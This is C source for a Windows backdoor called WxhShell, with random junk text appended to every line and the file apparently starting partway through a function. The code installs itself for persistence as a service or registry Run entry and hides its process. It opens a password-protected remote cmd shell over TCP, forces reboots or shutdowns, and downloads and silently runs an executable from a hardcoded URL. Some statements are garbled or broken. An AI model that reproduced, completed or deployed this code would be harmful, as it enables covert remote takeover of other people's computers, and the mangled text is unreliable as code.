    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O+^l>+ZGj?  
    if(Boot(SHUTDOWN)) Gd8FXk,.!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \'gb{JO  
    else { V94eUmx>?+  
    closesocket(wsh); A+&^As2  
    ExitThread(0); 9=J+5V^qD<  
    } [Cx'a7KWL  
    break; LzW8)<N  
    } 0//?,'.  
  // 获取shell ;5bzXW#U  
  case 's': { $ &Ntdn  
    CmdShell(wsh); fvDt_g9oI  
    closesocket(wsh); pp#xN/V#a  
    ExitThread(0); ~<?+(V^D  
    break; \qA g] -  
  } n5~7x   
  // 退出 N%k6*FBp~  
  case 'x': { M(a lc9tn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  ju-tx :  
    CloseIt(wsh); 1sqBBd"=PY  
    break; j[Y$)HF  
    } kIlc$:K^  
  // 离开 1@)kNg)*$  
  case 'q': { ' R!pc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6{ql.2 Fa  
    closesocket(wsh); /Jjub3>Q  
    WSACleanup();  0#AS>K5  
    exit(1); 2+7r Lf`l  
    break; em+dQ15  
        } GEdWpYKS-`  
  } \CP)$0j-&o  
  } 5*ip}wA  
G>/Gw90E  
  // 提示信息 -.>b7ui  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nm.H  
} K\7\  
  } p=7{  
QU]& q`GE  
  return; fZqqU|tq  
} 6fozc2h@x%  
}Ss]/ _t  
// shell模块句柄 ;wi}6rF%[i  
int CmdShell(SOCKET sock) zq=X;}qYj  
{ ZH:-.2*cj  
STARTUPINFO si; mUmU_L u8  
ZeroMemory(&si,sizeof(si)); *v}8n95*2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x +=zG4Hm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )AxgKBW  
PROCESS_INFORMATION ProcessInfo; F%t_9S,)O  
char cmdline[]="cmd"; ADTx _tE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /!l$Y?  
  return 0; b ?p <y`  
} HH-A\#6J  
.$r=:k_d  
// 自身启动模式 )"W(0M] >  
int StartFromService(void) Z r}5)ZR.  
{ _.9):i2<SF  
typedef struct CEwMPPYnD  
{ |a3v!va  
  DWORD ExitStatus;  `UC  
  DWORD PebBaseAddress; #Sxk[[KwH*  
  DWORD AffinityMask; cjf 8N:4N0  
  DWORD BasePriority; i'w8Li  
  ULONG UniqueProcessId; .^aakM  
  ULONG InheritedFromUniqueProcessId; MM}lW-q;  
}   PROCESS_BASIC_INFORMATION; *&f^R}O  
t<)Cbple\  
PROCNTQSIP NtQueryInformationProcess; L\cd=&b`  
JnW G_|m)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1S&GhJ<wJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #H'j;=]:  
_2eRH@T  
  HANDLE             hProcess; 6zo'w Wc3  
  PROCESS_BASIC_INFORMATION pbi; *>lh2ssl L  
VH.m H<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +VJS/  
  if(NULL == hInst ) return 0; ! :[`>=!  
:bh#,]'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J**-q(>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;_o1{?~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y9K U&L2  
SdOa#U)  
  if (!NtQueryInformationProcess) return 0; )\ `AD#  
+3a} ~pW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BHVC&F*>  
  if(!hProcess) return 0; Lro[ |A  
|K|[>[?Z/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $+ z 3  
|WiE`&?xP  
  CloseHandle(hProcess); hA6   
z%)~s/2Rs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1JRM@!x  
if(hProcess==NULL) return 0; 1V\tKDM  
)\S3Q  
HMODULE hMod; o!]muO*Rm  
char procName[255]; QKW\z aG  
unsigned long cbNeeded; dRdI('  
bW]7$?acv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HE;}B!>  
iyA=d{S;V  
  CloseHandle(hProcess); ~XzT~WxW  
L}~"R/iWCT  
if(strstr(procName,"services")) return 1; // 以服务启动 $?_/`S13  
rr@h9bak;g  
  return 0; // 注册表启动 @U8}K#  
} I7@|{L1|FB  
jR1o<]?  
// 主模块 J0ys Z]  
int StartWxhshell(LPSTR lpCmdLine) lOp7rW]$  
{ 3V(]*\L  
  SOCKET wsl; ~.Wlv;  
BOOL val=TRUE;  hTEwp.  
  int port=0; pZ_zyI#wx_  
  struct sockaddr_in door; #r=Jc8J_  
Tvd}5~ 5?  
  if(wscfg.ws_autoins) Install(); AiP#wK;  
t5| }0ID-  
port=atoi(lpCmdLine); ~ u)} /  
W)_|jpd[  
if(port<=0) port=wscfg.ws_port; Bj=lUn`T:  
Fb!Ew`;QT  
  WSADATA data; i,H(6NL.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i/C`]1R/  
}508wwv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *:5S*E&}V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K2XRKoG  
  door.sin_family = AF_INET; :17Pc\:DS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L@5j? N?F  
  door.sin_port = htons(port); t)4><22of  
D-/q-=zd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?XlPK Y  
closesocket(wsl); %.h&W;  
return 1; Dhe*)  
} >1}@Q(n/}{  
o2 ;  
  if(listen(wsl,2) == INVALID_SOCKET) { kqH:H~sgD  
closesocket(wsl); eh39"s  
return 1; o=nF.y  
} qj7 }]T_  
  Wxhshell(wsl); &G|^{!p/G  
  WSACleanup(); x5(6U>-Y  
Y&XO:jB  
return 0; u|mTF>L  
VLfc6:Yg  
} 2zV{I*  
=*5< w  
// 以NT服务方式启动 `SH14A*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [n2+`A  
{ ~Ydm"G  
DWORD   status = 0; f:K>o .  
  DWORD   specificError = 0xfffffff; ` pYyr/  
"5!T-Z+F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VnYcqeCm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /szwVA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A_\`Gj!s%  
  serviceStatus.dwWin32ExitCode     = 0; 8\X-]Gh\^  
  serviceStatus.dwServiceSpecificExitCode = 0; 2Ij,OIcdBE  
  serviceStatus.dwCheckPoint       = 0; Op'&c0l  
  serviceStatus.dwWaitHint       = 0; g8SVuG<DI\  
EY`]""~8v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ${h1(ec8  
  if (hServiceStatusHandle==0) return; M ZAz= )-  
S}b^_+UbP  
status = GetLastError(); {E;oirv&  
  if (status!=NO_ERROR) ri`;   
{ *mJ\Tzc)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 64L;np>  
    serviceStatus.dwCheckPoint       = 0; f<{f/lU@  
    serviceStatus.dwWaitHint       = 0; 2oF1do;  
    serviceStatus.dwWin32ExitCode     = status; Z[9t?ePL  
    serviceStatus.dwServiceSpecificExitCode = specificError; i'QR-B&Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .iC!Ttr  
    return; N/!(`Z,  
  } GBl[s,g[|  
:jf/$]p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *E wDwS$$  
  serviceStatus.dwCheckPoint       = 0; .k-t5d  
  serviceStatus.dwWaitHint       = 0; Xw#"?B(M]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6lPuYEmT  
} noso* K7  
vdcPpj^d5  
// 处理NT服务事件,比如:启动、停止 |vw],r6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =.qX u+  
{ -@tj0OHg  
switch(fdwControl) Sy/Z}H  
{ Bp_8PjQ  
case SERVICE_CONTROL_STOP: rEMe=>^   
  serviceStatus.dwWin32ExitCode = 0; OQIr"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ' Tk4P{  
  serviceStatus.dwCheckPoint   = 0; l>?f+70  
  serviceStatus.dwWaitHint     = 0; HUChg{[  
  { jqj4(J@%yr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uc, J+j0F  
  } v5 @9  
  return; wmA TV/  
case SERVICE_CONTROL_PAUSE: jLA)Y [h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8 (ot<3(D  
  break; 6M ;lD5(>  
case SERVICE_CONTROL_CONTINUE: FHSFH>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t2iQ[`/?~  
  break; ~"\WV4}`v  
case SERVICE_CONTROL_INTERROGATE: lNsdbyV'  
  break; Qr_0 L  
}; 73_=CP" t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w!pj);jy{  
} Qo!F?i/ n  
A>8~deZ9  
// 标准应用程序主函数 H#u N&^+H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lCgzQZ  
{ yk'L_M(=  
sYfm]Faz  
// 获取操作系统版本 )vUS).;S`  
OsIsNt=GetOsVer(); VJP#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dC;&X g`  
ts% n tnvI  
  // 从命令行安装 &Dt=[yqeG  
  if(strpbrk(lpCmdLine,"iI")) Install(); m] yUcj{F  
C23p1%#1  
  // 下载执行文件 Vh1y]#w  
if(wscfg.ws_downexe) { C}|.z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $@vB<(sk  
  WinExec(wscfg.ws_filenam,SW_HIDE); 052Cf dq  
} ~ MsHV%  
3 l}9'j  
if(!OsIsNt) { ~;z] _`_Va  
// 如果时win9x,隐藏进程并且设置为注册表启动 V'gJtF  
HideProc(); lQiw8qD  
StartWxhshell(lpCmdLine); &Z3%UOY  
} &uF~t |!c  
else 1KY0hAx  
  if(StartFromService()) d&AO 4^  
  // 以服务方式启动 ^<Gxip  
  StartServiceCtrlDispatcher(DispatchTable); @lX%Fix9  
else 5rfDm  
  // 普通方式启动 J[05T1  
  StartWxhshell(lpCmdLine); -L4G)%L\  
4x}U+1B  
return 0; cIQbu#[@  
} 8AuE:=?,,  
9Zj3"v+b  
}& W=  
5]up%.  
=========================================== 7W*a+^   
XjCx`bX^<  
:?j=MV  
EJ>rW(s  
@/?i|!6  
zy%0;%  
" Trs2M+r)  
{* :^K\-  
#include <stdio.h> d"IZt;s/,  
#include <string.h> Phk3Jv  
#include <windows.h> 2 S~(P  
#include <winsock2.h> `d^Q!QxE  
#include <winsvc.h> |5%T)  
#include <urlmon.h> by0K:*C  
=+UtA f<n  
#pragma comment (lib, "Ws2_32.lib") `"}).{N]C  
#pragma comment (lib, "urlmon.lib") uY(8KW  
+ue1+#  
#define MAX_USER   100 // 最大客户端连接数 ',xUU{5?  
#define BUF_SOCK   200 // sock buffer .>#O'Z&q9  
#define KEY_BUFF   255 // 输入 buffer UGd\`*Cj  
4`)r1D!U  
#define REBOOT     0   // 重启 c-5AI{%bl6  
#define SHUTDOWN   1   // 关机 a] 7g\rg)  
:aBxyS*}G  
#define DEF_PORT   5000 // 监听端口 ,}]v7DD  
M]p-<R\  
#define REG_LEN     16   // 注册表键长度 7V8k =  
#define SVC_LEN     80   // NT服务名长度 ZgG~xl\My  
9) ,|h  
// 从dll定义API -)^vO*b 0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #R:&Irh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?>U=bA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +p63J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9Bw#VQ  
(CRx'R  
// wxhshell配置信息 Bm,Vu 1]t  
struct WSCFG { $OdBuJA  
  int ws_port;         // 监听端口 1<1+nGO  
  char ws_passstr[REG_LEN]; // 口令 GS=E6  
  int ws_autoins;       // 安装标记, 1=yes 0=no x>B\2;  
  char ws_regname[REG_LEN]; // 注册表键名 ^\Z+Xq1~/  
  char ws_svcname[REG_LEN]; // 服务名 4ryG_p52l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MJqWc6{ n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2C}Yvfm4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3~bB2APk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WA,D=)GP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gSw4\R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GC7WRA  
qzJ<9H  
}; jc)7FE  
Ky"F L   
// default Wxhshell configuration CEI"p2  
struct WSCFG wscfg={DEF_PORT, * 30K}&T  
    "xuhuanlingzhe", O^=+"O]  
    1, x55W"q7  
    "Wxhshell", ?RS:I%bL  
    "Wxhshell", te2vv]W1  
            "WxhShell Service", KcpYHWCa.  
    "Wrsky Windows CmdShell Service", YPI,u7-  
    "Please Input Your Password: ", qe#5;#  
  1, #+l`tj4b/  
  "http://www.wrsky.com/wxhshell.exe", ZSK_Lux>  
  "Wxhshell.exe" c'tQA  
    }; (m,H 5  
[ 5}Q  
// 消息定义模块 m{=Q88k!@.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u%e~a]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -W1p=od  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j\IdB:}j  
char *msg_ws_ext="\n\rExit."; 64mEZ_kG,  
char *msg_ws_end="\n\rQuit."; eGq7+  
char *msg_ws_boot="\n\rReboot..."; WYTqQqQk  
char *msg_ws_poff="\n\rShutdown..."; #f) TAA  
char *msg_ws_down="\n\rSave to "; K&%CeUa  
"lw|EpQk`  
char *msg_ws_err="\n\rErr!"; |&JeJ0k>~  
char *msg_ws_ok="\n\rOK!"; }}$@Tij19[  
Znb7OF^#"  
char ExeFile[MAX_PATH]; O# ZZ PJ"  
int nUser = 0; QHZ",1F  
HANDLE handles[MAX_USER]; o zn&>k  
int OsIsNt; PjEJ C@n  
1J"9Y81   
SERVICE_STATUS       serviceStatus; g ass Od  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5[SwF& zZ  
hI!BX};+}  
// 函数声明 8!Wh`n<  
int Install(void); ').) 0;  
int Uninstall(void); uStAZ ~b\  
int DownloadFile(char *sURL, SOCKET wsh); Dho6N]86r  
int Boot(int flag); ]$Z:^" JS3  
void HideProc(void); s2G9}i{  
int GetOsVer(void); N$]er'`  
int Wxhshell(SOCKET wsl); LZe)_9$  
void TalkWithClient(void *cs); `"&Nw,C  
int CmdShell(SOCKET sock); q/U-6A[0  
int StartFromService(void); $xZ ~bE9  
int StartWxhshell(LPSTR lpCmdLine); `L`+`B  
&;d N:F;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K-C,n~-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WV$CZgL  
{IV% _y?  
// 数据结构和表定义 |{YN3"qN  
SERVICE_TABLE_ENTRY DispatchTable[] = `9K5 ;]  
{ h9ScN(|0y  
{wscfg.ws_svcname, NTServiceMain}, <Pt?N2]A|  
{NULL, NULL} Z)W8Of_  
}; )ciP6WzzbI  
I61S0l z/  
// 自我安装 vlbZ5  
int Install(void) E^F<"mL*  
{ 50N4J  
  char svExeFile[MAX_PATH]; `2s@O>RV  
  HKEY key; ~h@@y5<4  
  strcpy(svExeFile,ExeFile); 0W*{ 1W  
$q@d.Z>;  
// 如果是win9x系统,修改注册表设为自启动 7amVnR1f  
if(!OsIsNt) { |cma7q}p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,sAAV%" >  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @Uez2?  
  RegCloseKey(key); TsaQR2J@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3MQZ)!6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 11yXI[  
  RegCloseKey(key); 1W{N6+u  
  return 0; yKV{V?h?  
    }  '/.Dxib  
  } V+ ("kz*  
} !g]5y=  
else { `sCaGCp  
,-y9P  
// 如果是NT以上系统,安装为系统服务 XJ4f;U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g;63$_<  
if (schSCManager!=0) T(7`$<TQ  
{ 29RP$$gR  
  SC_HANDLE schService = CreateService xGwImF$r  
  ( eTS}-  
  schSCManager, MJ)lZ!KZ  
  wscfg.ws_svcname, Ocx"s\q(  
  wscfg.ws_svcdisp, j1K3|E  
  SERVICE_ALL_ACCESS, w'H'o!*/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l:V R8g[  
  SERVICE_AUTO_START, F(HfXY3  
  SERVICE_ERROR_NORMAL, >s{I@#9  
  svExeFile, D9oNYF-V  
  NULL, tbRW6  
  NULL, elCYH9W^  
  NULL, !'jq.RawP  
  NULL, ^U_T<x8{  
  NULL |NfFe*q0;8  
  ); ^Qs}2%  
  if (schService!=0) '9V/w[mI  
  { :DN!1~ZtW  
  CloseServiceHandle(schService); < xy@%  
  CloseServiceHandle(schSCManager); q`<:CfCt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P9cx&Hk9  
  strcat(svExeFile,wscfg.ws_svcname); /sKL|]i=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l/X_CM8y~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l'+3 6  
  RegCloseKey(key); 'c s(gc 0  
  return 0; YO7U}6wBt  
    } E JkHPn  
  } QO'Hyf t  
  CloseServiceHandle(schSCManager); hC:'L9Y  
} 4qOzjEQ  
} !wy _3a  
Y_'ERqQ  
return 1; n N<N~  
} 7s|'NTp  
I@'[>t  
// 自我卸载 6Xvpk1  
int Uninstall(void) JY0aE  
{ >H;i#!9,  
  HKEY key; ")|/\ w,  
\HeJc:^  
if(!OsIsNt) { h&<"jCjL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &bsq;)wzs  
  RegDeleteValue(key,wscfg.ws_regname); +lym8n~-O  
  RegCloseKey(key); +vh|m5"7I7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NfgXOLthM  
  RegDeleteValue(key,wscfg.ws_regname); ;>J!$B?,  
  RegCloseKey(key); T+0=Ou"N  
  return 0; ob.<j  
  } &uNec( c  
} _ .vG)  
} } !m43x/&  
else { r<`:Q]  
-N45ni87  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }Ce9R2  
if (schSCManager!=0) gmL~n7m:K  
{ hw DxGiU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Vm[Rp, "  
  if (schService!=0) .a*?Pal@@  
  { U: 9&0`k(  
  if(DeleteService(schService)!=0) { pi"H?EHk  
  CloseServiceHandle(schService); ,-pE/3|(  
  CloseServiceHandle(schSCManager); uBm"Xkxe|w  
  return 0; f@OH~4FG  
  } o7) y~ ke  
  CloseServiceHandle(schService); }%< ?]  
  } D p'urf\*$  
  CloseServiceHandle(schSCManager); uC'-: t#  
} ;KL7SM%g4  
} D#g -mqar:  
@Kpm&vd(  
return 1; ; vH2r~  
} 0]DOiA  
#dauXUKH  
// 从指定url下载文件 kuEXNi1l  
int DownloadFile(char *sURL, SOCKET wsh) Q"QRF5Ue  
{ E2e"A I.h  
  HRESULT hr; 4>gfLK\R:  
char seps[]= "/"; 37U8<  
char *token; ]>n{~4a  
char *file; (t4i&7-  
char myURL[MAX_PATH]; [?]N GTr#  
char myFILE[MAX_PATH]; 7H7 Xbi@  
6$`<Y?  
strcpy(myURL,sURL); @kYY1mv;  
  token=strtok(myURL,seps); _jQ:9,; A  
  while(token!=NULL) 8em'7hR9  
  { L AQ@y-K3  
    file=token; 7+jxf[(XQ  
  token=strtok(NULL,seps); Wg-mJu(  
  } d<m;Q}/l&h  
uzd7v,  
GetCurrentDirectory(MAX_PATH,myFILE); )&c2+Y@  
strcat(myFILE, "\\"); x@ -K  
strcat(myFILE, file); t~+M>Fjm?d  
  send(wsh,myFILE,strlen(myFILE),0); 'P.y?  
send(wsh,"...",3,0); S <mZs;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V6g*"e/8  
  if(hr==S_OK) T^A(v(^D  
return 0; *lfjsrPu  
else U2VEFm6  
return 1; (m/:B= K  
=E-x0sr?  
} XcJ5KTn  
pS?D~0Nb  
// 系统电源模块 {wS i?;[Gq  
int Boot(int flag) 7e<=(\(yl  
{ A4j ,]hOD  
  HANDLE hToken; odP<S.  
  TOKEN_PRIVILEGES tkp; o@Ye_aM~?Y  
TegdB|y7O  
  if(OsIsNt) { Jf^3nBZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )."ob=m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Pf;OYWST  
    tkp.PrivilegeCount = 1; uYC^&siS<s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9ihg[k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9{pT)(Wnb  
if(flag==REBOOT) { 8lF9LZ8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }QE.|.fA1  
  return 0; ;}B=g/C  
} "*lx9bvV_  
else { ZU\$x<,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JsY,Q,D q  
  return 0; ,:S#gN{U  
} v^9eTeFO  
  } 7 [Us.V@  
  else { %NLd"SV  
if(flag==REBOOT) { bb_elmb)n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [v1$L p  
  return 0; rZI63S  
} g@H<Q('fJ  
else { @rhS[^1wi+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X9*n[ev  
  return 0; OTy!Q,0$.  
} zw<<st Bp  
} uP9b^LEoN  
4H 6t" X  
return 1; h,[L6-n  
} rJ /HIda  
o$ @/@r  
// win9x进程隐藏模块 `I7s|9-=  
void HideProc(void) XT^=v6^H  
{ ]}`t~#Irz  
G4 7^xR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^#5'` #t  
  if ( hKernel != NULL ) HNkOPz+d&8  
  { d V%o:@Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  (?Ku-k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AD   
    FreeLibrary(hKernel); $1=7^v[U  
  } JuJW]E Q  
Uw4iWcC  
return; BA a:!p  
} =eA|gt  
yzEyOz@Q  
// 获取操作系统版本 EW$drY@  
int GetOsVer(void) Uz;^R@  
{ Q<>u) %92@  
  OSVERSIONINFO winfo; imOIO[<;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /  Xnq0hN  
  GetVersionEx(&winfo); l>*X+TpA,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L|[i<s;  
  return 1; ]ZLF=  
  else O72g'qFPE  
  return 0; +v/y{8Fu  
} -zECxHj x  
CH7a4qL`  
// 客户端句柄模块 W=Syo&;F8  
int Wxhshell(SOCKET wsl) $NCvF'  
{ /l `zZ>  
  SOCKET wsh; s}JifY`  
  struct sockaddr_in client; J>X@g;  
  DWORD myID; 0LW3VfvToN  
t__f=QB/  
  while(nUser<MAX_USER) 8j Cho  
{ 9DBX.|  
  int nSize=sizeof(client); ij:xr% FJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,DEq"VW_  
  if(wsh==INVALID_SOCKET) return 1; .BxI~d^  
<.`i,|?MHS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9@1n:X  
if(handles[nUser]==0) **P P  
  closesocket(wsh); 14&|(M  
else {GtX:v#  
  nUser++; Qi\]='C  
  } g_4%M0&AX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x)80:A}  
"1|g eO|  
  return 0; j&ti "|2\  
} &._"rhz  
Ee5YW/9]  
// 关闭 socket 39^+;Mev  
void CloseIt(SOCKET wsh) )EMlGM'2q  
{ 5 CnNp?.t^  
closesocket(wsh); d/GSG%zB  
nUser--; tnpEfi-  
ExitThread(0); IV~)BW leT  
} Z6B$\Q5Od  
R1JD{  
// 客户端请求句柄 ~v&Q\>'  
void TalkWithClient(void *cs) +PPQ"#1pS  
{ }^I36$\  
o4: e1  
  SOCKET wsh=(SOCKET)cs; @Mg&T$  
  char pwd[SVC_LEN]; ](I||JJa9f  
  char cmd[KEY_BUFF]; UR'v;V&Cb\  
char chr[1]; koB'Zp/FaY  
int i,j; 9T;>gm  
RAa1^Qb  
  while (nUser < MAX_USER) { T T 3 6Y  
<Hv/1:k}  
if(wscfg.ws_passstr) { b\^DQZmth  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RH,x);J|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tIn`L6b  
  //ZeroMemory(pwd,KEY_BUFF); CeU=A9  
      i=0; v$ \<L|  
  while(i<SVC_LEN) { m p_7$#{l  
a2?@OJ  
  // 设置超时 ;u`8pF!_eE  
  fd_set FdRead; !,$K;L  
  struct timeval TimeOut; Bor_(eL^  
  FD_ZERO(&FdRead); iB99.,o-&  
  FD_SET(wsh,&FdRead); zw'%n+5m  
  TimeOut.tv_sec=8; V+D<626o  
  TimeOut.tv_usec=0; _an 0G?7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q4X( _t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BN&)5M?Xt6  
Lapeh>1T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -[N9"Z,  
  pwd=chr[0]; U8aVI  
  if(chr[0]==0xd || chr[0]==0xa) { /IcGJ&;  
  pwd=0; ZxO o&YR3  
  break; {zd[8TJ~xa  
  } cK[=IE5  
  i++; d&G]k!|\  
    } }e|cszNRd  
o]V.6Ge-  
  // 如果是非法用户,关闭 socket eSIG+{;&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Qu<6X@+5  
} |L*=\%t8  
X}G$ON  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >/RFff]Fh0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E el*P M  
M8:i]   
while(1) { IjOBY  
 &I-T  
  ZeroMemory(cmd,KEY_BUFF); VZ IY=Q>g  
RU#}!Kq  
      // 自动支持客户端 telnet标准   &b>&XMIK  
  j=0; iN[6}V6Sm  
  while(j<KEY_BUFF) { K:9AP{+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bGB$a0  
  cmd[j]=chr[0]; >aVtYp B  
  if(chr[0]==0xa || chr[0]==0xd) { @}PXBU   
  cmd[j]=0; ;jx[  +  
  break; ^?]-Q*w3Qs  
  } ?=)lbSu K  
  j++; Y8%l)g  
    } $XcH.z  
5'DY)s-K  
  // 下载文件 LV1drc  
  if(strstr(cmd,"http://")) { iM7 ^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UM0Ws|qx&  
  if(DownloadFile(cmd,wsh)) 0N)DHD?U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T_s09Wl  
  else L9^ M?.a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &2%|?f|  
  } 5"G-r._  
